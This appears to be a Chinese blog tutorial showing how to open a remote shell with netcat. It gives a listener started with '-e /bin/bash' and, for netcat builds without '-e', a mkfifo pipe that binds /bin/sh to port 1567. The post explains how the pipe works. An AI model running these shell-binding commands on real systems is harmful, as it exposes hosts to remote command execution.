linux nc 開shell

使用netcat創建遠程shell

1、假設你的netcat支持 -c -e 參數(默認 netcat)

Server


$nc -l 1567 -e /bin/bash -i

Client


$nc 172.31.100.7 1567

這裏我們已經創建了一個netcat服務器並且表示當它連接成功時執行/bin/bash

2、假如netcat 不支持-c 或者 -e 參數(openbsd netcat,我們仍然能夠創建遠程shell

Server


$mkfifo /tmp/tmp_fifo

$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

這裏我們創建了一個fifo文件,然後使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,然後管道到netcat 運行的端口1567上。至此,我們已經把netcat的輸出重定向到fifo文件中。

說明:

從網絡收到的輸入寫到fifo文件中

cat 命令讀取fifo文件並且其內容發送給sh命令

sh命令進程受到輸入並把它寫回到netcat

netcat 通過網絡發送輸出到client

至於爲什麼會成功是因爲管道使命令平行執行,fifo文件用來替代正常文件,因爲fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。

在客戶端僅僅簡單連接到服務器

Client


$nc -n 172.31.100.7 1567

你會得到一個shell提示符在客戶端

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章